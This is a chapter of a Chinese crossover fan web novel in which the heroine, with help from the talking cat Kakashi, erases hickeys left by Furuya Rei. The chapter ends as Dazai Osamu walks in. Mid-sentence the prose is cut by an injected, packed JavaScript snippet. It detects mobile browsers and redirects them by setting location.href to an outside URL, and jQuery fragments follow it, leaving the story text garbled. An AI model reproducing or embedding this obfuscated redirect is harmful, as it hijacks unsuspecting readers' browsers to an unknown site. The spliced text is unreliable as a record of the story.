99.吻痕
作品:《猫系男友收集手册》 真树还是默许了对方给她演示共浴的可能性,并没有拒绝送到嘴边的大餐。
水滴不停从头发滑落到薄薄的睡衣上。
打湿的布料贴在皮肤上,非但没让燥热退去,反而添了把火,连呼吸都变得有点烫。
空气中甜丝丝的巧克力味慢慢散了。
取而代之的是和她身上一模一样的沐浴露气息,缠在鼻尖绕来绕去。
两人越来越默契,也越来越势均力敌。
真树被摆弄得恼羞成怒,但又不好意思在这种时候用武力强行压制,只能沉溺在他一步步进攻的号角中。
可惜他们卧底的组织并不比资本家好多少。
正值高压的局势下,降谷零肯定要抓住机会逆流而上。
等尽职尽责的送餐员依依不舍地离开后,她用冷藏过的勺子贴在紫红色的吻痕上,照着镜子消除小狗留下的标记。
不愧是警校首席,学习能力就是强。
没两次就从学院派蜕变成了实战派。
不知从哪学来的花样繁出,弄得她压根没注意他在脖子上干什么了。
难怪走的时候,小黑脸都遮不住那股得意洋洋。
就算她现在不用上班,也要出去跑步啊。
可恶的黑里透亮黑的狐狸精,凭借一己之力让真树皈依了以貌取人教。
她揉揉太阳穴,感觉不仅没有得到滋养,反而被吸取了精力。
就在这时,窗户那边 “哗啦” 一声,旗木卡卡西从外面跳了进来 。
他今天出去都没有再跑远,只是趴在楼顶晒晒太阳。
那双奇异的黑色猫眼,一眼就盯上了重点,开口就是懒洋洋的猫嗓:“要我帮你吗?”
千叶真树想起上次他帮自己止血的事,扬了扬下巴示意他跳到肩上来试试。
猫咪动作利落地跳上来,下一秒,淡淡的绿光就从他爪子底下冒了出来。
刚换的衣服又被头发弄湿了,贴到后背上难受得不得了。
她扯扯上衣下摆,尽量把后背挺起来,想离那湿布料远一点。
真树满意地看着镜子里逐渐淡下去的痕迹,表扬他:“果然,还是年纪大的更会照顾人。”
“……我也没那么大吧。”卡卡西移到另一块吻痕上方,语气里带着点无奈,连尾巴尖都轻轻晃了晃。
“大是好事,”女性漫不经心地口无遮拦,“没有女人喜欢小的东西。”
没高光的黑眸丈量爪下光滑的皮肤,上面红斑点点,扎眼极了,“……改掉你说话的习惯,就不会有这么多奇怪的家伙围着了吧?”
“你在说什么呢?”她甚至倒打一耙,“佛眼见佛,我指的是黄金、珠宝还有车子、房子、票子那些好东西。“
随着爪下的痕迹一块块变淡,他的心里逐渐升腾出怪异的满足感,“男子。”
“哈哈,这可是你说的。”她爽朗大笑,心情很好的样子,“没办法,太小了显得我好像恋童癖一样,太大了那对方就是恋童癖,超过十岁的一律死刑。”
卡卡西在心里默默算了算,自己还是在录取范围内的,“那个橙发的小鬼难道没超过十岁吗?”
虽然他们世界有很多驻颜的方法,但中原中也在面对感情的时候显得稚气十足,实在不像是成年人。
“是没超过。”她撩起发尾,让卡卡西帮忙察看视觉死角,刚刚有一阵黑心鬼好像在后面偷偷搞了不少小动作。
“这里也有。”浑厚有力的声音渐渐没有底气,“那个,下次你用能力时让我观察下,可以吗?”
“谢啦,回来给你买鱼吃。”真树抓着湿漉漉的头发,默契地会意,“用你那只兔子眼睛吗?”
“写轮眼,”他简单地交代了一下,“可以复制忍术,我以前有个称号叫做‘copy忍者’。”
“……不觉得尴尬吗?”
卡卡西缓缓地歪头,头一次不理解女性的问题,“嗯?”
难道自己真的老到有代沟了吗?
“我以前,”她艰难地一个字一个音地吐出来,“总之就是,外号叫做‘薙刀之树’。”
卡卡西不太理解她窘迫的原因,只能尊重,“我没有觉得,可能因为你还年轻吧。”
真树听到这话很高兴,毕竟快三十了还有人能夸她年轻是好事,“果然还是老头会说话,不过你没有那种觉得尴尬到快死的事情吗?”
卡卡西突然像是想起了什么,语气有点微妙:“前不久有一次,在学生面前读自来也大人的作品。”
这让她起了兴趣,“让我也听听。”
背后的猫爪突然忽远忽近,扎人的毛毛时不时刺到她的肩颈,又疼又痒。
“不、不太好吧。”原本成熟又有点性感的男声,这会儿调子都飘了,跟初学乐器的人吹风笛似的,断断续续的。
然而女性的好奇心不容置疑,“快点。”
“这里有秋刀鱼吗?”猫的声音一点点虚弱。
千叶真树摆出了开会时聆听领导讲话的认真状态,“有,你安心地念吧。”
然后在她时不时用点头挡住偷笑的动作中,卡卡西磕磕巴巴地讲完了记忆深刻的最后一段。
他用中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415212|176379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空的语气说了最后一句,“那个,我没查克拉了。”
“这也太快了,你这个绿光很耗MP吗?”
卡卡西虽然没听过MP是什么意思,但猜测到了其中的意思,“你的另外两只猫没跟你说吗?”
从他的角度看不见真树的表情,但是她的语气好似没有改变,“没有,我们没交流过。是你的消耗加快,还是总量变少了?”
莫名其妙的喜悦从心底冒出,但他的行为还是不会让人察觉到丝毫情绪,“总量变少了。”
他用真树能理解的比喻阐述:“如果以前是啤酒瓶,现在变成烧酒瓶了,还是瓶底破了的那种。”
为此她有点为难,“可是我现在没伤口了。或者,你接受我——”
卡卡西没等她说完,就干脆利落地打断:“我不会跟你接吻的。”
他的话正好重叠上女性的后半句:“朝你吐口水吗?”
空气瞬间安静下来,一人一猫谁都没说话。
过了两秒,真树抓住他扎手的大脖领,直视那只瞳孔颤动的黑眼珠,“我在你心里就是这样的色魔形象吗?”
这时候她才觉得,独眼好像也挺好的——至少在跟人对峙施压的时候,不用纠结该盯着哪只眼睛看。
“啊?”她掐住猫的胳肢窝拼命地摇晃,“连一个小老头猫都亲?”
没晃几下,卡卡西的眼珠都快散了,本就虚亏的声音更加没底气了,“听、听我解释……”
“可恶的稻草人,猫咪最有魅力的毛毛都被你整得像稻草一样!”真树越想越气,“你可以不软,也可以不顺,但你不能直接变成豪猪啊。”
“养一只无从下手的猫有多痛苦你懂吗?”她把软塌塌的猫放在一边,跪在地上痛心疾首地怒斥,“摸个猫头,扎手;抱着睡觉,扎脸;就连你站我肩膀上,都能扎到我脖子!”
卡卡西被她控诉得彻底没脾气了,无力地妥协:“我错了,你朝我吐口水吧,拜托了。”
真树抱着猫一起站起来,指尖在猫咪的利齿上用力一压,鲜血瞬间涌入了卡卡西的喉咙。
她看着炸毛猫费力吞咽的狼狈,捏了捏仍然扎手的尾巴根,“看在你帮我的份上,吐口水记到下一次吧,这个是费用。”
这明明是强制收费——
猫咪纤细却有力的四肢空划,可惜仍旧没办法逃脱吃饱了的魔女的魔爪,“咕咚咕咚咕咚。”
就在这时,门铃 “叮咚 —— 叮咚 ——” 地响了。
可没等里面的人开门,门就自己开了。
太宰治独自走了进来。